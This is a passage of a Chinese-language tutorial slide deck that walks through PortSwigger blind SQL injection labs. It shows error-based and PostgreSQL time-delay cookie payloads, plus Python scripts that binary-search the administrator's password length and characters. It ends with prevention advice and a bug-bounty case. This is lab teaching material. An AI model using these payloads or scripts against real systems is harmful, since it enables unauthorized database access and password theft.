→ users 資料表和 administrator 使用者確實存在 - 可以隨意修改要查詢的 administrator,確認網頁反而會正常顯示 → 確實是有找到這個人才報錯
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+

Lab 0x5
-
測試密碼長度
-
修改 WHEN 的條件式,從這裡反覆修改數字,判斷密碼長度
-
利用
LENGTH()查詢實際密碼長度
-
-
先簡單挑個誇張的數字,測試 Payload 沒有問題,再用腳本找密碼位數
-
長度 > 1 → 網頁出現錯誤 → 實際密碼長度大於 1
-
長度 > 50 → 沒有出現錯誤 → 實際密碼長度不大於 50
-
' AND (SELECT CASE WHEN (LENGTH(password)>1) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+Lab 0x5 用腳本找長度
import requests
# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"
# 設定猜測範圍
low = 1
high = 50
# 開始二分法的迴圈
while low < high:
mid = (low + high) // 2 # 取中間值
# 這裡的查詢語法是在確認正確密碼的長度是否大於 mid?
payload = f"{tracking_id}' AND (SELECT CASE WHEN (LENGTH(password)>{mid}) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+"
# cookies 由 session 與 TrackingId 組成
cookies = {
'TrackingId': payload,
'session': session_id
}
# 發送帶有完整 cookie 的請求
try:
response = requests.get(url, cookies=cookies)
except requests.exceptions.RequestException as e:
print(f"連線錯誤: {e}")
break
# 透過回應修改二分法的範圍
if response.status_code == 200:
# 網頁可以正常顯示,回應狀態碼為 200
# 表示正確密碼長度「小於或等於」中間值,所以降低上限
high = mid
else:
# 回應狀態碼不是 200 就表示回應錯誤
# 表示正確密碼長度「大於」中間值,所以提高下限
low = mid + 1
# 當 while 迴圈結束時,low 會等於 high,也就是正確的密碼長度
password_lenth = low
print(f"密碼長度為: {password_lenth}")
-
透過 response.status_code 得知回應狀態碼是什麼
-
不是 200 就代表回應錯誤,
WHEN條件正確 ; 200 就表示回應正確,WHEN條件錯誤
-
Lab 0x5
-
確認實際密碼內容
-
使用
SUBSTR()一個個找每一位密碼是什麼-
Oracle 的
SUBSTRING()語法是SUBSTR()
-
-
一樣先簡單測試 Payload 沒問題,再用腳本找完整密碼-
隨意替換 密碼位數 、 猜測的字元 或者 >, =, <
-
有出現正確、錯誤兩種不同的回應就表示 Payload 沒問題
-
' AND (SELECT CASE WHEN (SUBSTR(password,3,1)>'m') THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+Lab 0x5
import requests
# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"
password_length = 20
password = ""
for i in range(1, password_length + 1):
# lab 的提示有說密碼是由數字 (0-9) 與小寫字母 (a-z) 組成
# 以 ASCII 計算二分法
# 最小是 '0' -> 48,最大是 'z' -> 122
low = 48
high = 122
# 開始二分法的迴圈
while low < high:
mid = (low + high) // 2 # 取中間值
mid_char = chr(mid) # 將 ASCII 數字轉回字元
# 這裡的查詢語法是在確認正確密碼的這位字元是否大於 mid_char?
payload = f"{tracking_id}' AND (SELECT CASE WHEN (SUBSTR(password,{i},1)>'{mid_char}') THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+"
# cookies 由 session 與 TrackingId 組成
cookies = {
'TrackingId': payload,
'session': session_id
}
# 發送帶有完整 cookie 的請求
try:
response = requests.get(url, cookies=cookies)
except requests.exceptions.RequestException as e:
print(f"連線錯誤: {e}")
break
# 透過回應修改二分法的範圍
if response.status_code == 200:
# 網頁可以正常顯示,回應狀態碼為 200
# 表示正確密碼的這位字元「小於或等於」中間值,所以降低上限
high = mid
else:
# 只要不是回應 200 就代表回應錯誤
# 表示正確密碼的這位字元「大於」中間值,所以提高下限
low = mid + 1
# 當 while 迴圈結束時,low 會等於 high,也就是正確密碼的這位字元的 ASCII
found_char = chr(low) # 將 ASCII 數字轉回字元
password += found_char # 加入最終密碼的字串
print(f"已找到第 {i} 位密碼為: {found_char}")
# 正確密碼的 20 位都已找到
print(f"\n最終完整密碼為: {password}")
Lab 0x5 End

-
如果因為網頁回應錯誤而找不到登入的地方
-
把 TrackingId 的值全部刪掉,或只刪 Payload ,或把 Payload 改成註解
-
讓頁面不要報錯就能在右上角前往登入頁面
-
- 登入 administrator 的帳號,就能成功解開這題 !
觸發時間延遲
-
Time-based
-
網頁不會有任何回應,不論注入正確與否都是顯示正常的頁面
- 透過 觸發延遲,從回應時間的長短差別來判斷條件為 True / False
-
Lab 0x6 → 如何注入時間延遲
-
Lab 0x7 → 透過時間延遲找密碼
Lab 0x6
- https://portswigger.net/web-security/sql-injection/blind/lab-time-delays
- 透過 Cookie 注入
- 網頁不會有任何特殊回應,ex. "Welcome back"、錯誤訊息、伺服器錯誤
- 注入時間延遲,讓網頁延遲 10 秒即可解開這題
Lab 0x6
- 使用較單純的 串接,讓 DBMS 順利執行 延遲
- 加 分號 ; 堆疊新的查詢
- 使用條件式 AND / OR (但構造過程複雜,容易因為型態不匹配而失敗
- 不同的 DBMS 有不同的 串接 與 延遲 語法
- 依照速查表
- 依序測試每個 DBMS 的串接 + 延遲 語法
Lab 0x6
- 反覆修改、不斷測試注入結果
- Send to Repeater


Lab 0x6
- 左側是可以修改的請求 (Request) ; 右側是收到的回覆 (Response)
- 在 TrackingId 後方加 Payload
- ctrl + U 做 URL encode,避免錯誤
- 左上角 Send 送出

Lab 0x6
- Oracle → 627 毫秒 → 網頁正常時間回應 → 失敗


Lab 0x6
- MS SQL → 648 毫秒 → 網頁正常時間回應 → 失敗


Lab 0x6
- PostgreSQL → 20720 毫秒 → 網頁超過 10 秒 (10000 毫秒) 才回應 → 成功 !


Lab 0x6
- MySQL → 609 毫秒 → 網頁正常時間回應 → 失敗


Lab 0x7
- https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
- 透過 Cookie 注入
- 找到 administrator 的密碼,並登入帳號,即可解開這題
- 網頁不會有任何特殊回應,ex. "Welcome back"、錯誤訊息、伺服器錯誤
- 開 Burp Suite 解題
Lab 0x7
-
一樣確認哪一個 DBMS 的串接 + 延遲會被觸發 → PostgreSQL
-
這題要拿密碼 → 需要注入條件式反覆測試密碼為何
-
速查表有 Conditional time delays 的 Payload
-
確認 PostgreSQL 的 Payload 會正常運作
- TrackingId=xxx
-
;結束前面的語句,堆疊新的查詢 -
如果
WHEN的條件為 True ,觸發延遲 ; 反之正常回應-
WHEN後面要放結果為 True 的條件式 → 才能觸發THEN pg_sleep(10)
-
-
-
TrackingId=xxx-
1=2 結果為 False ,觸發
ELSE pg_sleep(0)沒有延遲
-
- TrackingId=xxx
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--+'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--+Lab 0x7
- 確認 users 資料表與名為 administrator 的用戶是否存在
- 把 username='administrator' 當成 WHEN 的條件式判斷
- 如果 administrator 不存在,會觸發
ELSE pg_sleep(0),網頁不會有延遲
- 如果 administrator 不存在,會觸發
- 把 username='administrator' 當成 WHEN 的條件式判斷
'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--+

Lab 0x7
- 使用
WHERE也可以
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--+

Lab 0x7
- 用 Burp Suite 自動找密碼長度
- 使用 Intruder
- 使用 Intruder
已知 username='administrator' 為 True回應結果會由 LENGTH(password)=1 的結果決定
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--+替換這裡

記得 ctrl+U
進行 URL 編碼
Lab 0x7
- 看到 Response received 出現 10000 以上的值,就代表找到了,可以提前手動停止

Lab 0x7
- Burp Sutie 半自動找每一位密碼
- DBMS 使用 PostgreSQL → 使用
SUBSTRING(),而不是SUBSTR()- 如果第一位是 a 就延遲10秒 ; 如果第一位是 b 就延遲10秒... 由 Burp Suite 替換 a~z、0~9
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--+
Lab 0x7
- 可以按一下 Response received 欄位進行排序
- 看 Payload 可以知道測試的字元是什麼

Lab 0x7
- Python 腳本自動找密碼 (稍微調小秒數,減少一點等待時間)
- 因為要用 二分法 , Payload 的 等於
=要換成 大於>
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)>'a') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--+import requests
import time
# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"
password_length = 20
password = ""
threshold = 4 # 秒,超過這個秒數就表示 pg_sleep(5) 被觸發
for i in range(1, password_length + 1):
# lab 的提示有說密碼是由數字 (0-9) 與小寫字母 (a-z) 組成
# 以 ASCII 計算二分法
# 最小是 '0' -> 48,最大是 'z' -> 122
low = 48
high = 122
# 開始二分法的迴圈
while low < high:
mid = (low + high) // 2 # 取中間值
mid_char = chr(mid) # 將 ASCII 數字轉回字元
# 這裡的查詢語法是在確認正確密碼的這位字元是否大於 mid_char?
# 若大於 -> 觸發 pg_sleep(5) 拖慢 5 秒;若不大於 -> pg_sleep(0) 立刻回應
payload = f"{tracking_id}'%3b+SELECT+CASE+WHEN+(username%3d'administrator'+AND+SUBSTRING(password,{i},1)%3E'{mid_char}')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--%2b"
# cookies 由 session 與 TrackingId 組成
cookies = {
'TrackingId': payload,
'session': session_id
}
# 計時,用於判斷回應時間
# 發送請求前後各記錄一次時間,相減就是實際耗時
start = time.time()
try:
# timeout 設 8 秒,讓程式在 pg_sleep(5) 觸發時,也能等待完整回應
response = requests.get(url, cookies=cookies, timeout=8)
except requests.exceptions.RequestException as e:
print(f"連線錯誤: {e}")
break
elapsed = time.time() - start
# 透過回應時間修改二分法的範圍
if elapsed > threshold:
# 回應時間長 = 延遲被觸發 = 條件為真 = 字元確實大於 mid_char
# 所以下限提高到 mid + 1
low = mid + 1
else:
# 回應時間短 = 條件為假 = 字元小於或等於 mid_char
# 所以上限降到 mid
high = mid
# 當 while 迴圈結束時,low 會等於 high,也就是正確密碼的這位字元的 ASCII
found_char = chr(low) # 將 ASCII 數字轉回字元
password += found_char # 加入最終密碼的字串
print(f"已找到第 {i} 位密碼為: {found_char}")
# 正確密碼的所有位都已找到
print(f"\n最終完整密碼為: {password}")Lab 0x7
- 腳本成功找到密碼後,登入 administrator 的帳號即可解開這題 !


補充
- 也可以用 Python 腳本找密碼長度
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--+import requests
import time
# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"
# 假設密碼長度介於 1 到 40 之間,用二分法去縮小範圍
low = 1
high = 40
threshold = 5 # 秒,超過這個秒數就表示 pg_sleep(5) 被觸發
while low < high:
mid = (low + high) // 2
# 這裡的查詢語法是在確認密碼長度是否大於 mid?
# 若大於 -> 觸發 pg_sleep(5) 拖慢 5 秒;若不大於 -> pg_sleep(0) 立刻回應
payload = f"{tracking_id}'%3b+SELECT+CASE+WHEN+(username%3d'administrator'+AND+LENGTH(password)%3E{mid})+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--%2b"
cookies = {
'TrackingId': payload,
'session': session_id
}
# 計時:發送請求前後各記錄一次時間,相減就是實際耗時
start = time.time()
try:
# timeout 設 8 秒,讓程式在 pg_sleep(5) 觸發時,也能等待完整回應
response = requests.get(url, cookies=cookies, timeout=8)
except requests.exceptions.RequestException as e:
print(f"連線錯誤: {e}")
break
elapsed = time.time() - start
print(f"測試密碼長度是否大於 >{mid}? 回應時間: {elapsed:.2f}s")
# 透過回應時間修改二分法的範圍
if elapsed > threshold:
# 回應時間長 = sleep 被觸發 = 條件為真 = 長度確實大於 mid
# 所以下限提高到 mid + 1
low = mid + 1
else:
# 回應時間短 = 條件為假 = 長度小於或等於 mid
# 所以上限降到 mid
high = mid
# 當 while 迴圈結束時,low 會等於 high,也就是實際的密碼長度
print(f"\n密碼長度為: {low}")
預防 SQLi
- 使用參數化查詢
- 預處理語句
- 將 SQL 程式碼的結構與使用者輸入的資料徹底分離
- 建立白名單機制
- 規範那些內容是可以被接受
- 最小權限原則
- 只賦予連接資料庫的帳號執行任務時所需要的最小權限
- 不顯示錯誤訊息
- 針對 Blind SQL injection,可減少透露錯誤的原因,僅顯示「請重新再試一次」,
避免駭客藉盲測收集情報
- 針對 Blind SQL injection,可減少透露錯誤的原因,僅顯示「請重新再試一次」,
資料來源: 101學姊的 SQLi 簡報+ https://www.neway.com.tw/article-detail/SQL-injection/
預防 SQLi
- 驗證與過濾使用者輸入
-
長度與格式校驗
-
限制字串的最大長度、使用正則表達式等機制,確保輸入內容符合預期格式
-
-
型別檢查
-
對於預期為數字的輸入,先驗證它確實是數字型別,或嘗試轉換型別後再使用
-
-
特殊字元過濾或轉義
-
過濾或轉義在 SQL 中具有特殊意義的字元
-
ex. 單引號
' 、雙引號"、分號;、連接符號 --等
-
-
轉義 (Escape) : 在特殊字元前加上反斜線等標記,使其失去作為指令的功能而僅被視為普通符號
-
-
案例分享
- https://hackerone.com/reports/2759243
-
2024年10月:美國國防部 (DoD) 系統出現「時間型」盲注漏洞
-
事件經過:
-
在漏洞回報平台 HackerOne 上,一名白帽駭客通報了美國國防部旗下網站的一個參數(
sortBy)存在 Time-based Blind SQLi
-
-
造成危害:
-
駭客在報告中示範,透過注入
WAITFOR DELAY的時間延遲腳本,他能根據網頁伺服器晚了 5 秒或 10 秒才回應的現象,逐字猜出國防部資料庫的名稱、資料表以及內部紀錄
-
-
此報告隨後被美國國防部驗證並緊急修復,避免了可能的機密外洩問題

案例分享

參考資料
-
101 學姊的 SQL Injection 課程簡報 與 Blind SQLi 整理
-
飛飛的 SQL Injection (SQLi) 基礎教學與自建 LAB 靶機
-
PortSwigger
感謝前輩們的付出 🛐
回饋表單

Blind SQLi
By fallnight
Blind SQLi
- 55